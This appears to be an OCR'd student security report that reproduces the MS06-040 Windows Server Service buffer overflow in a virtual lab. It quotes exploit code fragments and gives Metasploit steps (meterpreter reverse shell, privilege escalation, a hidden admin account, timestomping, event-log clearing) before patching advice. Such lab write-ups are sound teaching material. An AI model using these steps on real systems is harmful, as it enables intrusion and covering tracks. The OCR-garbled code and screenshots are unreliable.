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Introduction

This report has been created to provide a detailed technical guide for exploiting a vulnerable
system remotely and suggests fixes to prevent this attack occurring on vulnerable machines. The
vulnerability that is being conducted in this report is MS06-040 (CVE-2006-3439) as Microsoft
have announced in their security bulletin on 6™ August ([Microsoft, 2006). Microsoft Windows
Server Service is vulnerable to a remote buffer overflow. This overview utilizes a framework
called Metasploit and will be demonstrated later on in the report.

Description of the vulnerability, exploit and attack software

The attacker exploits MS06-040 by using a bug in the NetApi32 CanonicalizePathName() function
using the NetpwPathCanonicalize RPC call in the server service. Inspecting the code

}

// build request buffer

memcpy (szReqBuf, DCERPC_Request RPC_Service, sizeof(DCERPC_Request_RPC_Service)-1);

memcpy (SzRegBuf+44, "\x15\x02\x00\x00", 4); /* max count */

memcpy (szRegBuf+48, "\x00\x00\x00\x00", 4); /* offset */

memcpy (szRegBuf+52, "\x15\x02\x00\x00", 4); /* actual count */

memcpy (szReqBuf+56, szBuff, sizeof(szBuff));

memcpy (szRegBuf+1120, "\x00\x00\x00\x00", 4); /* align string */

memcpy (szReqBuf+1124, DCERPC_Request RPC_Service_, sizeof (DCERPC_Request RPC_Service_)-1);
memcpy (szReqBuf+1140 , "\xeb\x02", 2);

if (atoi(argv[2]) == 2) {

unsigned char szBuff[708];

memset (szBuff, '\x90', 612); /* size of shellcode */
memcpy (szBuff, sc, sizeof(sc));

memcpy (szBuff+612, "\x0a\x08\x02\x00", 4);
memset (szBuff+616, 'A', 8); // 8 bytes padding
memcpy (szBuff+624, "\x04\x08\x02\x00", 4);
memset (szBuff+628, '\x90', 32);

memcpy (szBuff+660, "\x04\x08\x02\x00", 4);
memset (szBuff+664, 'B', 8); // 8 bytes padding
memcpy (szBuff+672, "\x04\x08\x02\x00", 4);
memset (szBuff+676, '\x90', 32);

// build request buffer
memcpy (szRegBuf, DCERPC Request RPC Service, sizeof(DCERPC Request RPC Service)-1);

Figure 1 (SecurityFocus, 2006)

Figure 1 shows the exploit building the request buffer it’s going to send to the RPC server service.
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if (atoi(argv[2]) == 1) {
unsigned char szBuff[1064];

// build payload buffer
memset (szBuff, '\x90', 1000);
memcpy (szBuff+630, sc, sizeof(sc));

for(i=1000; i<1064; i+=4) {
memcpy (szBuff+i, "\x04\x08\x02\x00", 4);
}

Figure 2 (SecurityFocus, 2006)

Figure 2 shows the payload being created, which will hold the arbitrary code that will be executed
when the overflow happens.

When the service processes this message, a buffer overflow occurs allowing the arbitrary
commands to execute at SYSTEM level and ultimately own the system. A buffer overflow or also
known as a buffer overrun is a bug that occurs while a program is writing to a buffer, the writing
overruns the buffers boundaries and overwrites adjacent buffers. The adjacent data could hold
executable code which could be replaced with malicious code or overwrite specific data which
changes the programs state that the original creator did not intend. (The Economic Times, 2017).
Most systems are well analyzed and it’s fairly simple to find the memory layout of a program or
even the whole system, so attackers can exploit this by targeting pinpoint places to cause buffer
overflows and write code to specific memory locations (SecurityFocus, 2006). This vulnerability
affects an array of systems including windows 2000 Service pack 3, which will be used later in the
report for demonstration. The attack software that will be used is Metasploit. Metasploit is a
framework which assists penetration testers in searching, downloading and using exploits and
payloads (Harper, 2011).

Anatomy of the attack
For this reconstruction, VMware player will be used to replicate an attack machine which is

running Kali Linux and a victim machine which is running Windows 2000 SP3. The following
network setting must be applied.
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Virtual Machine Network Adapter
(Attacking Machine) Kali Linux with Bridged and Host Only
Armitage
(Victims Machine) Windows 2000 SP3 Host-only

Footprinting (Reconnaissance)

Before the system is penetrated, as much information about the system must be gathered as
possible. In a real-world scenario, this would be a vital step, but as the victim machine is on the
same local network as the attacker, so reconnaissance is not required. A range of techniques can
be used which are either passive or active. The aim to acquire data such as, IP ranges, port numbers
and access points, identify services running on the machine, possibly collect data about any
security in place such as firewalls or intrusion detection systems (IDS) and ultimately retrieve a
map of the system. There are many tools and techniques that are to hand such as dnscan which
uses the WHOIS service to provide domain data such as names and addresses (O’Rilley, n.d.).
Web scrapers which collects all emails and links on a website and outputs it to a document (Mahto
2016). This allows for an easy overview of the site and shows how the site is connected.

Enumeration

Enumeration is another stage of information gathering, this requires an active connection to the
victim to be established. The goal of enumeration is to acquire information such as IP ranges,
security policies, possible usernames of users on a large system and other related information.
Enumeration uses services built into the OS such as SMTP (Simple Mail Transfer Protocol), DNS
(Domain Name System), SMB (Server Message Block). The attacker uses default credentials to
access private data and settings inside these services allowing the attacker to create a better map
of the system they are attacking. (McClure, 2009).
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Scanning
In order to perform an attack, we need an entry point. In this Proof Of Concept (POC), the entry

point will be a IP Address. As for this demonstration, we have two virtual machines on the same
local network. This means we can assume the first 3 bytes of the IP address as the victims and
attackers will be the same, the last byte is assigned to each machine and is unique.

root@kali: ~

File Edit Wiew Search Terminal Help

1 (4.4 MiB)

80 (41.0 MiB)

Figure 3 — Running ifconfig

On the Kali Linux machine (attacker), terminal is used to run the command “ifconfig” as seen in
figure 3. This command retrives back the configuration for any currently active networks on the
system. The connection we are interested in is ethO1 and this Ethernet has an IP address of
172.16.29.131, so it is known that the victim’s machine IP starts with 172.16.29.xxX.

Now the IP address is known, a scan can be conducted to find out the whole of the victim’s
machine’s IP. To achieve this, a tool called nmap (Network Mapper) is utilised. Nmap is a
powerful security scanner which allows network administrators or attackers to find information
such as systems on a network, discovering hosts that are active, services that they are running,
vulnerabilities and open ports. (Lyon, 2009). Nmap has various scans which can be performed for
different results, but in this POC, a basic scan is first used to determine which IP’s are active. The
command nmap 172.16.29.1-255 results in a ranged IP scan executed in which nmap will
scan the network for ip’s between 1-255 which is the maximum number an IP address can be.
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root@kali: ~

File Edit View Search Terminal Help h

) at 2018-11-15 1

Figure 4 — Basic nmap scan

The second IP that is listed has quite a few ports open meaning the system must be active and as
seen in figure 4, port 139 is running a service called netbios-ssn. What netbios-ssn does isn’t too
important, but it is commonly found on windows machines so it’s worth taking a closer look at
this IP to determine if it’s the victims. Nmap’s basic scan also informs the user of MAC addresses
(Media Access Control) To retrieve further details, a scan to detect OS and service information is
performed.
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root@kali: ~

File Edit View Search Terminal Help
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Figure 5 — OS and service scan

The results illustrate to the attacker that the victim is running Windows 2000, which the attacker
can use to find exploits for that system and version.

Metasploitable is a free, open source pen testing framework which was initially developed as a
portable network tool for network administrators. MS provides users a variety of testing tools
including exploits, payloads and also patches. MS can also be used to create testing tools exploit
modules with input from the community. MS is owned by a company called Rapid7 who create
and sell pen-testing tools and also have a premium version of MS called MS pro. As MSF is pre-
installed in this version of Kali Linux, MSF can be started by opening terminal and running “msf”.
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File Edit View Search Terminal Help

msf =

Figure 5 — MSF starting
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There are many exploit databases available for use, but in this demonstration MSF’s
(Metasploitable Framework) own database provided by rapid7 will be used in this report. This
can be accessed inside MSF by running the command search and determining the platform such
as Microsoft. The attacker also defines what type of search they are conducting such as exploit or

payload.

root@kali: ~

File Edit View Search Terminal Help
] ) auxi

ution

tion
nmand U

Figure 7 — Searching for exploits
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root@kali: ~ ]

File Edit View Search Terminal Help

Figure 8 — Selecting the exploit

There are many exploit databases online which relay further information on exploits, such as service packs
they affect, a CVSS score and what systems the exploit founder has tested them on. Upon researching
MS06-040, it has been found that this vulnerability affects a number of different systems and versions
which all of Windows 2000 are affected meaning this exploit is compatible with the victims’ version of
Windows 2k.

root@kali: ~

File Edit Wiew Search Terminal Help
), Bind TCP

Bind TCP S

normal

normal

normal

normal
e AlLl-Port TCP
normal

e TCF (DNS)

normal

normal

Figure 9 — Finding the payload
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After finding the exploit, the next step is finding a payload which will inject malicious code into
the system after first exploiting the system. Payloads can do a number of malicious activities on
the system such as installing a backdoor, which allow attackers to maintain access or stealing
important information from the victim. The payload demonstrated in this POC,
“meterpreter/reverse tcp” is used as seen in figure 9. This is a staged type of payload which allows
us to access meterpreter with an initial stager of reverse over a TCP connection (Offensive
Security, no date).

Meterpreter works by injecting its self into already running processes rather than opening a new
process that the victim may notice. This provides a much stealthier approach and leaves little to
no evidence for forensic analysists. There are several types of payloads, stage, stager and single
(inline). As this payload is a stager, the first requirement is to run the command ““use multi/handler”
which is a payload handler and is compatible with all payloads inside Metasploit.

root@kali: ~

File Edit View Search Terminal Help

Module options (

Name Cur

BROWSER, SRVSVC)

\tomatic (NT 4.0, . 4 P@-5P1)
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root@kali: ~
File Edit View Search Terminal Help
i inj i ] normal

VNC
mal VNC
normal  VNC

normal

normal

normal

Figure 11 — Setting payload inside MSF

root@kali: ~

File Edit View Search Terminal Help

ms £ [

Figure 12 — Using the exploit
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The next step is to set the exploit by using the “use” command and then setting the payload that
the exploit is going to use. Figure 12 shows the options we have for this type of exploit and which
settings the attacker will set. The host is pre-set as windows uses the port 445 for the SMB service
which this exploit uses. The SMB pipe acts as a connection used for SMB protocols and this exploit
uses the connection over a browser pipe to exploit. (Msdn.microsoft.com, no date).

The “RHOST” setting, is the address of the victim that the attacker found out in the previous steps.
Figure 12 also shows that this exploit is compatible with Windows 2k SP0-SP4 which the attacker
also knew.

root@kali: ~

File Edit View Search Terminal Help

msf exploit( ) > set RHOST 172.16.29.131
RHOST => 172.16.29.131

msf exploit( ) > 1

Figure 13 — Setting RHOST to IP of victim
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root@kali: ~ |

File Edit View Search Terminal Help

exploit( ) > set LHOST 172.16.29.132
HOST => 172.16.29.132
sf exploit( ) > 1

P Ty S ———

Figure 14 — Setting LHOST of attacker

Figure 15 — Exploit running with successful result

Figure 14 shows the LHOST being set to the attackers IP address to make a connection for the
hack. Running the exploit command starts the exploit as illustrated in Figure 15. Meterpreter
sessions opens indicating the exploit was successful.
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Post Exploitation

root@kali: ~

File Edit View Search Terminal Help

to that of local system.

Figure 16 — Using getsystem

The post exploitation step involves the attacker analysing the system to determine what level of
access they have. It’s possible in this case to first check then escalate their privileges using the
getsystem command. Meterpreter has an automated function which tries varies techniques to
elevate privileges as displayed in figure 16.

root@kali: ~

File Edit View Search Terminal Help
. ministrator
NT AUTHORIT EM
ministrator
ministrator
ministrator

ministrator WINNT

ninistrator

Figure 17 — Process list and migrating
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Figure 17 shows the attacker checking their level of privileges by using the command “getuid”
shows that privileges that the attacker has, by listing the process the attack can migrate from
Authority privilege to Administrator by migrating from the initial hacked process to an
Administrator process. In this POC, the process that is used is explorer.exe, this is a stealthy
process to use as it doesn’t interfere with the victim’s session and the victim is also less likely to
notice the explorer process being hijacked. Now the attacker has root privileges and can execute a
number of malicious activities with full access to the system.

root@kali: ~

File Edit View Search Terminal Help

Figure 18 — Creating cmd session
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The attacker may create a command prompt session through meterpreter, this isn’t displayed on
the victims’ end

root@kali: ~

File Edit WView Search Terminal Help

%Ll n
CQLFORHOE IwaAM

command,

Figure 19 — Displaying users and creating new admin account

In this POC, a new administrator account is created to maintain access in case the victim closes
the connection, or the attacker wishes to regain access at a later date. If the account is on a large
network, it’s unlikely that the new account will be noticed or even on a smaller network, unless
routine checking takes place, it will most likely fly under the radar. Figure 20 shows the account

“ned” being added to the net users.
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root@kali: ~

File Edit View Search Terminal Help
=

-PCQLFEORHOE

KHM=net us

Figure 21 — Checking account status of “ned”
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root@kali: ~

File Edit View Search Terminal Help

Desktop
P | \ »
@ 1 it )/
Chromium Dolphin Download Enable Firefox
Web Browser VMs Network Drive
Win2K - VMware Player 3 & &

File Virtual Machine Help

>ipconfig
indous 2000 TP
[Ethernet adapte:
Conn
IP
Subnet fiREE
Default Gateway . . .
Recyde Bin

e
Interet
Explorer
nection;

ONS Suffix

To grab input, press Ctrl+G (% T To grab input, press Ctrl+G

Figure 23 — IP’s on both machines
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Using the cmd shell that was created, both IP’s are compared to each other to show the hack was
successful. Unfortunately, Windows 2k is an old system and this vulnerability in particular has a
tendency to make windows restart, so the IP is slightly different than in the scanning phase as the
system crashed. As shown in figure 23, both IP’s are the same and can be seen in both machines.

Backdoors are another technique attackers may use to maintain access. If the victim patches the
vulnerability, the attack won’t be able to regain access at a later date. Backdoors are usually remote
allows the attacker to regain access at anytime. Metsvc is a built-in backdoor which can be used
inside meterpreter. Unfortunately, in this instance metsvc wouldn’t work during this demonstration
as shows in figure 24. In this instance, metsvc would allow access back to meterpreter the attacker
can continue where they left off. One thing that is to be noted, metsvc doesn’t require
authentication allowing any person to access it which could put security at risk in the case of
penetration testing. (Offensive-security.com, 2018).

root@kali: ~

File Edit View Search Terminal Help

131:31337. ..

131:31337...

Figure 24 — Metsvc failing

An attacker may decide to upload files such as a worm which could spread through their network
to infect further victims or install a keylogger which will record each keystroke from the victim.
This could potentially reveal important and private information such as passwords or banking
details. If the attack does this, they will want the file to blend in to system files and they can achieve
this by using a function timestomp.
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root@kali: ~

File Edit View Search Terminal Help

Name

Figure 25 — Timestomping a file

Timestomping works by changing the MACE (Modified, Accessed, Created, Entry Modified)
times to a file which is already on the system. This allows files to blend in, especially with system
files. An attacker may wish to upload a malious file such as a trojan horse and hide it, so it will go
unnoticed to an administrator. Figure 25 shows the attacker timestomping a file to change the
MACE to the same as cmd.exe. (Attack.mitre.org, no date).
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Figure 26 — Event viewer on victim machine

@ 1545

Attacks may leave a trail and good practise to cover the attacker’s tracks would be to clear the

event log. This can be done inside meterpreter by running the command “clearev”” and will increase
the difficulty in finding evidence the attacker was present in the system.

Recommendations for preventing the attack

The exploit takes advantages of an older system vulnerability, the first step in preventing this
attack would be keeping the system fully up to date. This could be done by applying a patch,
such as in figure 27 or updating the operating system to a much newer version such as 7. Many
of these patches are out of date as the OS no longer receives support by the manufacturer.
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[+

Security Update for Windows 2000, Windows XP and Windows 2003 (KB969878)

important! Selecting a language below will dynamically change the complete page content to that language.

Select Language: English v

A security issue has been identified that could allow an unauthenticated remote attacker
to compromise your system and gain control over it.

@ Details

@ System Requirements

@ Install Instructions
@ Additional Information

@ Related Resources

Follow Microsoft n u

What's new Store & Support Education
MNEW Surface Pro 6 Account profile Microsoft in education
MEW Surface Laptop 2 Download Center Office for students ]

Figure 27 — Patch to fix vulnerability

Firewalls could be set up to stop nmap being able to scan the system for open ports, it will also
protect against incoming attacks from outside connections and make it much more difficult for
attacks to target the system. Intrusion Detection Systems are another useful tool in stopping
malicious activity. IDS can be used to monitor systems for activity and report back to an
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administrator. IDS can monitor patterns in traffic and recognise unusual activity, this usually
requires machine learning which can be time consuming. (Rowland, 2002).

msf exploit( ) > exploit -z

[*] Started bind handler

[*] 137.166.99.1:445 - Creating nop sled....
It

[*]

137.166.99.1:445 - Trying to exploit Samba with address Oxffffe4lo...

137.166.99.1:445 - Connecting to the SMB service...

137.166.99.1:445 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (137.16
6.99.1:445).
[*] Exploit completed, but no session was created.
msf exploit( ) > 11

Figure 28 — Showing exploit failed (Haste, 2017)

Figure 28 illustrates a failed exploit after the patch has been applied to the victims machine, here
a different exploit is tested but fails. The victims machine is a VM and couldn’t have the patch
applied to it. In a real life situation, the patch would prevent the exploit from working.

Related Software

Armitage is a program which has a GUI front end for Metasploit. It provides a much easier and
user-friendly way to use Metasploit. Unfortunately, Armitage does come with some downfalls as
it doesn’t always find all the vulnerabilities for the system since it’s an automated feature.
Armitage will also take time to update as MSF and Armitage have to be installed and updated
separately, meaning some Oday exploits may go unnoticed in Armitage for some time. Armitage
also doesn’t always display all vulnerabilities, for example the vulnerability demonstrated in this
POC didn’t come up through Armitage has a vulnerability. MSF can be used in a number of ways
such as testing a business security or newly installed software to avoid hackers such as IDS and
Firewalls can be tested using MSF.
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Figure 28 — Armitage display attacks (Poojary, 2011)
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Critical Thinking

This vulnerability would be a huge security risk to a business or organisation. It would allow
outside attackers a way into their systems, allow them to see sensitive files, spread viruses through
the network and even install keyloggers which could reveal private data about the company. The
vulnerability is also remote which makes the exploit a lot more sever as they can be attacked at
any time from any place.

Conclusion

To conclude this report, MS06-040 is a dangerous vulnerability which can affect many users and
allows attackers to take over a system fairly easily. The vulnerability has the potential to affect
large networks and corporations as well as simple users without many of them realizing. Putting
anti hacking measures in place is vastly encouraged such as firewalls or anti-viruses and keeping
systems up to date is a must. Users must understand the severity of protentional vulnerabilities
such as MS06-040 and further education is a must for the general public. Small users and systems
aren’t the only people at risk, large corporations are too, such as when HBO was hacked. Hackers
stayed in the system for a long time, continually to go undetected to the company. (BBC News,
2017).
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